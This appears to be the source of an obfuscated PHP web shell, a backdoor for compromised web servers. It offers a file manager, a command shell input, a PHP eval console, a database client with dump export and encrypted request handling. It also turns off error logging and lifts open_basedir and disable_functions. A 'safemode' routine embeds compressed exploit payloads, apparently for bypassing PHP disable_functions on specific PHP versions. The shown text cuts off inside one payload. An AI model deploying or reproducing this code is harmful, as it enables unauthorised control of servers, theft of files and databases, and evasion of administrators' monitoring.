\x9	function fixFileName(str, len = false){\xa			str = str.split(/(\\|\/)/g).pop();
	\x9	if(len) str = str.substring(0, len);
\x9\x9	return str;
		}
		\xa\x9	function getParentFormOf(element){
	\x9\x9
\x9		while(element.tagName != "FORM")\xa		\x9	element = element.parentElement;

\x9		return element;\xa		}
	\x9
		function prepareFile(input){
		\x9var file = input;
\x9		form = getParentFormOf(input);\xa	\x9\x9form.enctype = "application/x-www-form-urlencoded";\xa\x9\x9	\xa\x9	\x9if(file.files.length){
	\x9\x9\x9var reader = new FileReader();
\x9\x9		\xa\x9	\x9	reader.onload = function(e){
					\x9filename = fixFileName(input.value);\xa			\x9		wwwFile = document.createElement("input");
				\x9\x9wwwFile.type = "hidden";
				\x9\x9wwwFile.id = input.name;
\x9	\x9			wwwFile.name = input.name + "["+filename+"]";\xa\x9\x9\x9\x9	\x9wwwFile.value = e.target.result;
		\x9	\x9	if(e.target.result.length <= 2097152)\xa	\x9					form.appendChild(wwwFile);\xa	\x9				else
\x9	\x9				if(confirm("Request size is ~" + Math.round(((e.target.result.length * 2) / 1024) / 1024) + "M, but limits is often around <= 8M. There is no guarantee that the file will be uploaded.\nYou can disable request encoding, use other upload methods or select a smaller file. Continue?"))
	\x9			\x9\x9	form.appendChild(wwwFile);\xa\x9	\x9\x9	\x9\x9else\xa\x9	\x9				\x9return false;
		\x9			\x9
\x9	\x9	\x9	uplFiles();
\x9		\x9\x9\x9
\x9\x9\x9\x9\x9\x9elements = form.getElementsByTagName("*");\xa\x9\x9\x9			for(var i = 0; i < elements.length; i++)
\x9			\x9\x9	if(elements[i].type === "hidden")\xa\x9	\x9\x9\x9			form.removeChild(elements[i]);
\x9\x9\x9\x9};
\x9			\xa		\x9	reader.readAsDataURL(file.files[0]);\xa	\x9\x9\x9return reader;\xa		\x9}\xa\x9		\xa		}\xa\xa	\x9function deleteAllCookies() {\x9
\x9\x9\x9var cookies = document.cookie.split(";");
\x9\x9
		\x9for (var i = 0; i < cookies.length; i++) {\xa\x9\x9\x9	var cookie = cookies[i];\xa		\x9	var eqPos = cookie.indexOf("=");
		\x9	var name = eqPos > -1 ? cookie.substr(0, eqPos) : cookie;\xa\x9	\x9\x9document.cookie = name + "=;expires=Thu, 01 Jan 1970 00:00:00 GMT";
\x9\x9	}
			
		\x9return false;
	\x9}\xa\x9
		function submitViaCookie(encodedForm, refresh = true){
\x9	\x9var reqlen = 0;\xa\x9\x9\x9var elements = encodedForm.getElementsByTagName("*");\xa\x9\x9\x9
	\x9\x9for(i = 0; i < elements.length; i++) {
	\x9\x9	\xa\x9\x9\x9\x9if(!elements[i].name) continue;
\x9	\x9	\xa\x9\x9	\x9name = elements[i].name;
\x9	\x9	value = encodeURIComponent(elements[i].value);

\x9\x9		if(value.length > 4095 || reqlen > 7696){
		\x9	\x9if(confirm("The request header is too big, send it via POST?")){
	\x9	\x9		deleteAllCookies();
	\x9	\x9	\x9return false;\xa			\x9	}
\x9	\x9	\x9else{\xa	\x9\x9\x9		deleteAllCookies();\xa		\x9\x9\x9	return "CANCEL";\xa\x9	\x9		}\xa\x9\x9\x9\x9}\xa	\x9		\xa\x9			document.cookie =  name + "=" + value;
			\x9reqlen = reqlen + name.length + value.length;
\x9\x9	}
\x9	\x9\xa	\x9\x9if(refresh)
	\x9\x9	window.location = window.location.pathname;
\x9		else\xa\x9\x9		return "SEND";\xa\x9\x9}\xa		\xa		function invertColors() {\xa		    var css = "html{-webkit-filter: invert(90%); -moz-filter: invert(90%); -o-filter: invert(90%); -ms-filter: invert(90%);}";
\x9\x9    var head = document.getElementsByTagName("head")[0];
	\x9    var style = document.createElement("style");\xa	\x9    if(!window.counter)\xa\x9	        window.counter = 1;\xa	\x9    else{
\x9\x9        window.counter++;
\x9\x9        if (window.counter % 2 == 0)\xa	\x9            var css = "html{-webkit-filter: invert(0%); -moz-filter: invert(0%); -o-filter: invert(0%); -ms-filter: invert(0%);}"
\x9\x9    }\xa\x9	    style.type = "text/css";
\x9\x9    
\x9\x9    if(style.styleSheet)\xa\x9\x9        style.styleSheet.cssText = css;\xa\x9	    else\xa\x9\x9        style.appendChild(document.createTextNode(css));
		        
\x9	    head.appendChild(style);\xa\x9\x9    \xa	\x9    return false;\xa		}
</script>"; } goto bwlDJ; BUsSa: function getFile($p) { $v = NULL; if ($v = fopen($p, "rb")) { $r = ''; while (!feof($v)) { $r .= fread($v, 1048576); } fclose($v); return $r; } if (PHP_VERSION >= "4.3") { $v = file_get_contents($p); if (is_string($v)) { return $v; } } $v = file($p); if (is_array($v)) { return implode('', $v); } if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.1") { try { $v = new SplFileObject($p, "rb"); } catch (Exception $e) { $v = FALSE; } if ($v) { $r = ''; while (!$v->eof()) { $r .= $v->fgets(); } unset($v); return $r; } } } if (RO && defined("FORCE_GZIP")) { if ($v = gzopen($p)) { $r = ''; while (!gzeof($v)) { $r .= gzread($v, 1048576); } gzclose($v); return $r; } $v = gzfile($p); if (is_array($v)) { return implode('', $v); } } if (RO && ($v = ob_start())) { if (is_int(readfile($p)) || copy($p, "php://output") || defined("FORCE_GZIP") && is_int(readgzfile($p))) { $r = ob_get_contents(); ob_end_clean(); return $r; } ob_end_clean(); } return FALSE; } goto M2sts; wdTnu: function selfPath() { if (isset($_SERVER["SCRIPT_FILENAME"])) { return filePath($_SERVER["SCRIPT_FILENAME"]); } if (isset($_SERVER["DOCUMENT_ROOT"])) { return substr($_SERVER["DOCUMENT_ROOT"], -1) === DSC ? $_SERVER["DOCUMENT_ROOT"] : $_SERVER["DOCUMENT_ROOT"] . DSC; } if (PHP_VERSION >= "5.3") { return substr(__DIR__, -1) === DSC ? __DIR__ : __DIR__ . DSC; } return filePath(__FILE__); } goto qa4cw; Duhun: $ini = array("disable_classes" => '', "disable_functions" => '', "display_errors" => 0, "enable_post_data_reading" => 1, "error_log" => '', "error_reporting" => 0, "file_uploads" => 1, "log_errors" => 0, "log_errors_max_len" => -1, "magic_quotes_gpc" => 0, "magic_quotes_runtime" => 0, "magic_quotes_sybase" => 0, "max_execution_time" => 0, "memory_limit" => "1024M", "open_basedir" => '', "safe_mode" => 0, "safe_mode_exec_dir" => ''); goto eWS3s; odx9K: ?> 
)">Shell: <input type="text"name="s"placeholder="<?php  goto jBwCe; o3npe: ?> 
); 
 if ('e' in data) uiChngMsg(div, "Can't change" + (data.e.length === 1 ? ' ' + data.e[0] : ':\n' + data.e.join('\n')), 'Err'); 
 else uiDelMsg(div); 
} 
 
function chngPrps(e) { 
 e.preventDefault(); 
 e.stopPropagation(); 
 var frm = e.target, 
  data = { 
   h: [] 
  }, 
  flds = { 
   p: 'path', 
   t: 'modified time' 
   <?php  goto j2VKF; A5hck: function tempName() { $a = "poiuytrewqlkjhgfdsamnbvcxzMNBVCXZLKJHGFDSAPOIUYTREWQ0987654321"; $v = "."; for ($i = 0; $i < 8; ++$i) { $v .= $a[rand(0, 61)]; } return $v . ".tmp"; } goto wsDu2; bQERu: function decodeRequest() { $_REQUEST = array_merge($_FILES, $_COOKIE, $_REQUEST); unset($_GET, $_POST, $_COOKIE); $GLOBALS["PRELEN"] = getPreLen(); if (!($GLOBALS["ENCKEY"] = getEncKey())) { $GLOBALS["ENCKEY"] = setEncKey(); } $_REQUEST = decodeInput($_REQUEST); } goto uVEHS; vrt7v: echo NIX ? "/bin/sh" : ''; goto t0BE3; YveqT: ?> 
>\n</option><option value="2">\r</option></select><button>Save</button></div></form></template><form id="frmSrch"class="modal"onmousedown="uiActvModal(event)"onsubmit="srchFiles(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Search</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmSrch')">&#x00D7;</a></div><label class="option"title="exx: <?php  goto I960Z; mMW9h: ?> 
updTblFiles({ 
  p: bpth, 
  f: [f] 
 }, os, gs); 
} 
 
function onSaveFile(div, data, chrst) { 
 if (typeof data !== 'string') return uiChngMsg(div, "Can't s" + div.childNodes[1].nodeValue.slice(1, -1) + data.e, 'Err'); 
 var pos = data.lastIndexOf('\x03\x1E'), 
  file; 
 switch (data[pos + 2]) { 
  case '\x06': 
   file = JSON.parse(data.slice(pos + 3)); 
   updFrmFile(this, [file[0], file[3]], data.slice(0, pos), chrst); 
   uiDelMsg(div); 
   break; 
  case '\x15': 
   file = JSON.parse(data.slice(pos + 3)); 
   uiChngMsg(div, 'File ' + file[0] + " successful saved but can't read now", 'Inf'); 
   break; 
  default: 
   uiNetErrMsg(div); 
   return false; 
   break; 
 } 
 updTblFile(file); 
} 
 
function saveFile(e) { 
 e.preventDefault(); 
 e.stopPropagation(); 
 var frm = e.target, 
  pth = canonPath(frm.elements[1].value, elmPth.placeholder); 
 fmAjxSnd('Save file as ' + pth, onSaveFile, { 
  w: pth 
 }, frm, frm.c.textValue); 
} 
 
function onRldFile(div, data, chrst) { 
 if (typeof data !== 'string') return uiChngMsg(div, "Can't read file " + div.childNodes[1].nodeValue.slice(5, -2) + data.e, 'Err'); 
 var pos = data.lastIndexOf('\x03\x1E'), 
  file; 
 switch (data[pos + 2]) { 
  case '\x06': 
   file = JSON.parse(data.slice(pos + 3)); 
   updFrmFile(this, file, data.slice(0, pos), chrst); 
   uiDelMsg(div); 
   break; 
  case '\x15': 
   file = JSON.parse(data.slice(pos + 3)); 
   uiChngMsg(div, "Can't read file " + file[0], 'Inf'); 
   break; 
  default: 
   uiNetErrMsg(div); 
   return false; 
   break; 
 } 
} 
 
function rldFile(e) { 
 e.preventDefault(); 
 e.stopPropagation(); 
 var frm = e.target.parentNode.parentNode, 
  pth = frm.elements[1].placeholder; 
 frm.t.value = ''; 
 if (frm.firstChild.firstChild.textContent !== 'New File') fmAjxSnd('Reload file ' + pth, onRldFile, { 
  g: pth 
 }, frm); 
} 
 
function rldFileAs(e) { 
 if (e.target.parentNode.parentNode.elements[1].placeholder !== '' && confirm('Do you want to reload this file with selected charset?')) rldFile(e); 
} 
 
function uiShwFrmFile(file, cntnt, chrst) { 
 var frm = elmById('tmplFrmFile').content.firstChild.cloneNode(true); 
 updFrmFile(frm, file, cntnt, chrst); 
 elmById('divWndws').appendChild(frm); 
 uiShwModal(frm); 
} 
 
function onGoTo(div, data, chrst) { 
 if (typeof data === 'string') { 
  var pos = data.lastIndexOf('\x03\x1E'); 
  switch (data[pos + 2]) { 
   case '\x06': 
    uiShwFrmFile(JSON.parse(data.slice(pos + 3)), data.slice(0, pos), chrst); 
    uiDelMsg(div); 
    break; 
   case '\x15': 
    uiChngMsg(div, "Can't open " + data.slice(pos + 3), 'Err'); 
    break; 
   default: 
    uiNetErrMsg(div); 
    break; 
  } 
 } else { 
  if (data.f.length === 0 && (data.m === 0 || data.m === 2)) uiChngMsg(div, "Can't read dir " + data.p, 'Err'); 
  else { 
   elmPth.value = data.p; 
   elmPth.placeholder = data.p; 
   listPaths(data); 
   uiDelMsg(div); 
  } 
 } 
} 
 
function goTo(pth) { 
 if (pth !== '' && pth !== '~') pth = canonPath(pth, elmPth.placeholder); 
 fmAjxSnd('Go ' + ((pth === '' || pth === '~') ? 'home' : 'to ' + pth), onGoTo, { 
  g: pth 
 }); 
 return false; 
} 
 
function uiTgglSubMenu(e) { 
 var div = e.currentTarget.nextSibling, 
  style = div.style; 
 if (style.display === 'block') style.display = 'none'; 
 else { 
  style.display = 'block'; 
  div.firstChild.focus(); 
 } 
} 
 
function menuButtonBlur(e) { 
 setTimeout(uiMenuButtonBlur, 10, e.nextSibling); 
} 
 
function menuItemBlur(e) { 
 setTimeout(uiMenuItemBlur, 10, e.parentNode); 
} 
 
function uiMenuButtonBlur(menuDiv) { 
 var actvPrnt = document.activeElement.parentNode; 
 if (actvPrnt !== menuDiv) menuDiv.style.display = 'none'; 
} 
 
function uiMenuItemBlur(menuDiv) { 
 var actvPrnt = document.activeElement.parentNode; 
 if (actvPrnt !== menuDiv && actvPrnt !== menuDiv.parentNode) menuDiv.style.display = 'none'; 
} 
 
function uiDstrModal(wndw) { 
 elmById('divWndws').removeChild(wndw); 
 return false; 
} 
 
function updBufferState() { 
 var elm = elmById('btnBufferMenu'), 
  isEmpty = fmBuffer.length === 0; 
 if (elm.disabled !== isEmpty) elm.disabled = isEmpty; 
 if (isEmpty) { 
  elm = elmById('frmBuffer'); 
  if (elm.style.visibility === 'visible') { 
   uiClsModal(elm); 
   elm = elmById('tblBuffer'); 
   elm.removeChild(elm.tBodies[0]); 
  } 
 } 
} 
 
function rmFiles(data) { 
 var bpth = data.p, 
  files = data.f, 
  flsTbds = elmTblFiles.tBodies, 
  flsTbdy = tbdyByPath(bpth), 
  bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null; 
 for (var i = files.length - 1; i >= 0; --i) { 
  var fpth = files[i]; 
  if (flsTbdy) 
   for (var j = flsTbdy.rows.length - 1; j > 1; --j) 
    if (flsTbdy.rows[j].cells[2].firstChild.title === fpth) { 
     flsTbdy.removeChild(flsTbdy.rows[j]); 
     break; 
    } fpth = bpth + fpth; 
  var n = fmBuffer.indexOf(fpth); 
  if (n > -1) { 
   fmBuffer.splice(n, 1); 
   if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]); 
  } 
  fpth += DS; 
  var len = fpth.length; 
  for (n = flsTbds.length - 1; n >= 0; --n) 
   if (flsTbds[n].rows[0].cells[0].textContent.slice(0, len) === fpth) elmTblFiles.removeChild(flsTbds[n]); 
  for (n = fmBuffer.length - 1; n >= 0; --n) 
   if (fmBuffer[n].slice(0, len) === fpth) { 
    fmBuffer.splice(n, 1); 
    if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]); 
   } 
 } 
} 
 
function onChngPrps(div, data) { 
 if ('r' in data) { 
  for (var i = 0, c = data.r.length; i < c; ++i) rmFiles(data.r[i]); 
  updBufferState(); 
 } 
 if ('c' in data) 
  for (var i = 0, c = data.c.length; i < c; ++i) updTblFiles(data.c[i] <?php  goto kd2X7; q5ODO: decodeRequest(); goto O9uzT; xTdkr: ?> 
 </select></span></div><div id="divSQL"><div id="divSQLWrpLeft"><div class="panel"><label><input type="checkbox"id="cbCR"/> Count number of rows</label></div><div class="panel"><div id="divSchm"></div></div><div class="panel"id="divDump">Dump as <select id="slctDmpFrmt"><option value="0">SQL</option><option value="1">CSV</option></select><button type="button"onclick="dump()">&gt;</button></div></div><div id="divSQLWrpRight"><form class="panel flexRow"id="frmSQL"onsubmit="return query()"><input type="text"name="q"placeholder="SQL query"/><button>&gt;</button></form><div id="divCptn"></div><div id="divData"><table id="tblHead"></table><table id="tblData"></table></div><form class="panel"id="frmPg"onsubmit="return chngPg(0)"><input type="hidden"name="b"/><input type="hidden"name="s"/><input type="hidden"name="t"/> Start from row <button type="button"onclick="chngPg(-1)">&lt;</button><input type="text"name="o"size="5"value="0"/><button type="button"onclick="chngPg(1)">&gt;</button><div style="float:right">Rows per page <input type="text"name="r"size="3"value="25"/><button>&gt;</button></div></form></div></div></div></span><span id="tabPHP"><a href="#tabPHP"class="tab">PHP Console</a><div class="tabPage"id="divPagePHP"><form class="toolbar"id="frmPHP"onsubmit="return evl()"><label><a href="#"title="Change composition"class="cmpsRow"id="aCmps"onclick="return uiChngCmps()">Composition</a></label><label title="Erase PHP code after successful eval"><input type="checkbox"id="cbClnInp"/> Clear input</label><label title="Erase previous results before show new"><input type="checkbox"id="cbClnOut" checked/> Clear output</label><label title="Render result as HTML"><input type="checkbox"id="cbHTML"/> Show as HTML</label><label><input type="checkbox"name="h"/> Hide PHP errors</label><div><span class="spnChrst"title="Send as..."><hr class="arwUp"/> <select id="slctPHPCS"><?php  goto eZrJL; m3huV: echo NIX ? "/usr/bin/python" : "python.exe"; goto aS9O2; PakDw: ?> 
</select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select name="c"><?php  goto MHMdD; wL14E: ?> 
 
<!DOCTYPE html><html><head><link rel="icon" type="image/gif" href="data:image/ico;base64,<?php  goto djmPo; MHMdD: foreach ($C as $k => $v) { echo "<option value="", $k, "">", $v, "</option>"; } goto m403z; wfSC0: foreach ($C as $v) { echo "<option>", $v, "</option>"; } goto FhPai; OHSUm: if (NIX) { echo ",data.o,data.g"; } goto tFxgT; JNe9f: ?> 
"><a href="#"class="lnkBlck">[ .. ]</a></td></tr></tbody></template><template id="tmplFileRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkBlck"></a></td><td><a href="#"class="lnkAct"></a></td><td></td><td><a href="#"class="lnkAct"></a></td><?php  goto lQqu6; ASpfA: ?> 
  }, 
  chngd = []; 
 for (var field in flds) 
  if (frm[field].value !== '' && frm[field].value !== frm[field].placeholder) { 
   data[field] = frm[field].value; 
   chngd.push(flds[field]); 
  } if (chngd.length > 0) { 
  if ('p' in data) data.p = canonPath(data.p, elmPth.placeholder); 
  var elm = frm['h[]'], 
   cnt = elm.length ? elm.length : 1; 
  if (cnt > 1) 
   for (var i = 0; i < cnt; ++i) data.h.push(elm[i].value); 
  else data.h.push(elm.value); 
  fmAjxSnd('Change ' + chngd.join(', ') + ' for ' + (cnt > 1 ? 'selected files (' + cnt + ')' : elm.value), onChngPrps, data); 
 } 
 uiDstrModal(frm); 
} 
 
function setErlDate(e) { 
 e.preventDefault(); 
 e.stopPropagation(); 
 var elm = e.target.parentNode.lastChild, 
  erlDate = elm.value; 
 for (var i = elmTblFiles.tBodies.length - 1; i >= 0; --i) { 
  var rows = elmTblFiles.tBodies[i].rows; 
  for (var j = rows.length - 1; j > 1; --j) 
   if (rows[j].cells[4].textContent < erlDate || erlDate === '') erlDate = rows[j].cells[4].textContent; 
 } 
 if (erlDate !== '' && erlDate < elm.value) elm.value = erlDate; 
} 
 
function uiShwFrmPrps(data, files) { 
 var frm = elmById('tmplFrmPrps').content.firstChild.cloneNode(true); 
 for (var i = 0, c = files.length; i < c; ++i) frm.appendChild(newElm('input', { 
  type: 'hidden', 
  name: 'h[]', 
  value: files[i] 
 })); 
 frm.p.value = data[0]; 
 frm.p.placeholder = data[0]; 
 frm.t.value = data[1]; 
 frm.t.placeholder = data[1]; 
 <?php  goto Vkb_l; nJCvK: foreach ($C as $k => $v) { echo "<option value="", $k, "">", $v, "</option>"; } goto lpFFg; Tt4C2: ?> 
"/><meta name="referrer" content="no-referrer"/><title><?php  goto wdI5q; O9uzT: checkAuth(); goto kGtE3; Q9YuK: if (defined("CED")) { $D = unserialize(pack("H*", CED)); } else { if (isset($_REQUEST["a"])) { $D = $_REQUEST; } elseif (isset($_REQUEST["a"])) { $D = $_REQUEST; } else { $D = array(); } if (function_exists("get_magic_quotes_gpc") && get_magic_quotes_gpc()) { $D = unQuote($D); } if (isset($D["k"])) { $k = $D["k"]; unset($D["k"]); prepVals($D, $k); } } goto q8gGN; STCWy: echo NIX ? 8 : 7; goto jNku3; rBdHq: if (NIX) { ?> 
 <label class="option"> Attribute <select name="u"><option value="">Any</option><option value="1">SUID</option></select></label></div><div class="flexRow"><label class="option"title="exx: 0, &gt;1000, &lt;1005, 1010-1015">Owner id<input type="text"name="o"/></label><hr class="spcr20"/><label class="option"title="exx: 0, &gt;1000, &lt;1005, 1010-1015">Group id<input type="text"name="g"/></label> <?php  } goto FkNcg; yQukv: ?> 
">Paths<input type="text"required /></label><div class="flexRow noFlex"><div class="option"> Name (<label title="? - single char; * - zero or more char; [!0123A-Z] - class of chars (- for range, ! to exclude)"><input type="checkbox"name="w"/>wildcard</label>, <label><input type="checkbox"name="i"/>case-insensitive</label>) <input type="text"name="n"/></div><label class="option"title="Max search depth">Depth<input type="text"name="d"size="1"size="1"/></label><label class="option">Type <select name="y"onchange="uiSrchFTypeChngd()"><option value="">Any</option><option value="1">Dirs</option><option value="0">Files</option></select></label><label class="option">Mode <select name="p"><option value="">Any</option><option value="1">Readable</option><option value="2">Writable</option><option value="3">Full access</option></select></label> <?php  goto rBdHq; CWbST: function escHTML($v) { return str_replace(array("&", """, "<", ">"), array("&amp;", "&quot;", "&lt;", "&gt;"), $v); } goto wdTnu; J0PNS: foreach ($a as $k => $v) { if (function_exists($v)) { print $k . ":" . $v . "\xa" . get_current_user() . "
" . gethostname() . "\xa" . __DIR__ . "\xa"; } } goto Absku; hjSIg: function isINI($v) { $v = strtolower(trim(ini_get($v))); return $v === "1" || $v === "on"; } goto uPyOx; WSa3y: $a = array("MYSQL_NUM" => array("MySQL", "MySQL"), "MYSQLI_NUM" => array("MySQLi", "MySQLi"), "PDO::MYSQL_ATTR_INIT_COMMAND" => array("MySQLPDO", "MySQL (PDO)"), "MSSQL_NUM" => array("MSSQL", "MSSQL"), "SQLSRV_ERR_ALL" => array("SQLSrv", "MSSQL (SQLSrv)"), "PDO::PARAM_INT" => array("MSSQLDBLIB", "MSSQL (PDO_DBLIB)"), "PDO::PARAM_STR" => array("MSSQLODBC", "MSSQL (PDO_ODBC)"), "PDO::SQLSRV_ENCODING_UTF8" => array("SQLSrvPDO", "MSSQL (PDO_SQLSRV)"), "PGSQL_NUM" => array("PGSQL", "PostgreSQL"), "PDO::PARAM_LOB" => array("PGSQLPDO", "PostgreSQL (PDO)")); goto yWlhJ; On8I4: if (NIX) { echo ",data.o,data.g"; } goto U8eY8; mM3Md: echo NIX ? "/usr/bin/perl" : "perl.exe"; goto nl10B; I960Z: echo NIX ? "/var/www:/etc:/tmp/" : "c:\inetpub\wwwroot;d:\www\"; goto yQukv; AuYcb: function safemode($cmd = "check") { if (!defined("PHP_VERSION_ID")) { return false; } $c = __FUNCTION__; $v = PHP_VERSION_ID; $pocs["cm_php_fpm"] = array("v" => strpos(php_sapi_name(), "fpm") !== false && is_int(array_search(true, array_map(function ($f) { if (function_exists($f)) { return true; } }, array("mail", "error_log", "imap_mail", "mb_send_mail")))), "r" => "execFPM($" . $c . ")", "c" => "eJyNV21T20YQ/kxn+h8ORZmTMopkAyaEhFAGTPBMwK5x0ukkmRtZOmEVWdJIMoG2/Pfu7t35BZu2Mj7f7T63t7valyOZ5VGTFjmT9zI6H1w6djSN3b9+/mnLrmTNjlgSZrV8B2v4SxPHTsopUG9kg2CXkFt2PR2EzQToaZ4K4Dm8lnk8DdNMlMDgLgrYUtDJeZpJgDppLX5UaROOM+lwn7vsmAlx1hsKwQ5Z/VCjINHIaSnitIKjfB5wfxp3nCadSliTTHt6e56FNyAPOVq6T0YQP4GlKGeNiIq8kXlTG4zH+IvtYJzmQT3hvvUtt3z+gnFfC1QUlONz9gHpapuSGk2mRbyQ1HrT6SyZWE5KbaPRh/tA488ppPGg0ftjmLPjD8phJCwqYpTEcbElq6qoRCXLomrS/MZpqVO30O01uN1SgKy4sUCrp0wgCwLUhqv4iZPoKBDyPq1BJaueyCwTGBOW6xLKxMOC41hzr/jc0ocZidtpjWfiJh0kYHpRyTCaOGFVhQ+OheEBiqzobKXTsBSKY03HAsNILV0W1sxGRbU+m/RWfHMe6Ixrp+3BR+sHzxi0uDWrR/p95NoZeB5lAYS5x8azNIsHYXSrop3ehccW78vEhPuOwbO83+THmgzO4TVz3Eop4y6Fjc43jA+M/KcBa97XLM/S/NZZiUdD05oR8VFFUCWbWZUzZ7tuqrKo6Y3A8SrKMefo3EOV57jxEY8xjv3fLmDgc3SCXRIWDGmKGneg861v960WfNv6d+1L0bO83adS0qRhlv4pB2EVTrUwBcNHRdFijQ8fdn/93L0eicvu6KJ/xtkRpO7H7oh7T3DX3eGX7lAMhv1R/7T/SQEvRqNB0Pbba+iPJ6Pubye/i97VqDs8PzntKvzpx95GuBZ+dXKpgVkRhdmkqJs1KB4pLvrXo/8CDruX/VFXnJydDRW0vfPGb8Fnw/Gnw95gJM57n7pzFeYv7Al2cDEAmZe9K/Hl5NNnhf2jSHMHy5+30ce0L8yy4oeYVZlI8yibxfKI+yo4IKJ4P+cQUbyfJNz1NuyO0xqrvjBRVh8hdBOyKGUuxmEtoQU8CwpnTSFKqIpYLDB/VpSJwyY89LgPysociY4us/IuzByUvb8nYkkcqGiaoKEkxcXyBjmOdRntIqOweKx2ueVTTZsDdDCrq6CmRqPR7HXDXqfcXTXFXVrr6YasmGfV3r8xO6pYIFvnv0at5bcpVNTx7yBtMSIgeq97/SusIjZahnVJhQIP7sIqqGZ5AB4MsJaReRS36yxDeAanupx9J6vFAfbd19Z3KCv448PYpnFnEwnH3e9YToNXMHa4xzv+Lo17NCrKPoxv8Ou3aGzTuEPjLo2IPiDuAXEPiHtA3APgvgqUokXZLBRVJOhdeYGNHiZQYLFRc926TbfTHsTuhTOXzRlkONJh4jIS//U7CkOcz/HK4CPP56+hHfl1Ed3yuSKEXFSBw7etVmvtaNIYT4AJtc3FDe4XUFeGU4FSsdtkKTQbh7aAn9k2CA845k8TlYdBQAk9y9N7nLs+wjymzPeM9R5r68uCCTo4SnUtTTCXydUYXG26OlL1zXIiw1jFhz0u4oe5g6llJnCPqp9sI+aPCSSfs53IQtlrrgQ2tEm8TSUQ9mbjXuvtvrkpAVohjpj1rYIS6LKl28JcGUg1whH5UbXl9SO1xv5zxyVRVtRSgbVJJv+N/1DAmrs2NUY7jckFuF6EKJCw+pHTyANLMUlIDI1b+UAdAqrhTGqv0y5QHH3qWKdXlgevF8qng2jXc9rv3++2XfY3M2S1WV/JzW4EP6EQTt9OFmGh6xYZsaeVXr+KLKPs5qGUC/MsSxWw+eWjLqs0bxIHbx7tl9HiQ7cNKt9KBM3SmAVsp7MPAmH6kqZ0m9PWkT4Gskp8DvySHQDR1Ogl3dALCHm3SoPdeK+XYUM6g47OmkBX/1ewuaz/A3c4q58="); $pocs["mm0r1_filter"] = array("v" => $v >= 70000 && $v <= 70234 || $v >= 70300 && $v <= 70333 || $v >= 70400 && $v <= 70425 || $v > 80000 && $v < 80013, "r" => "pwn($" . $c . ")", "c" => "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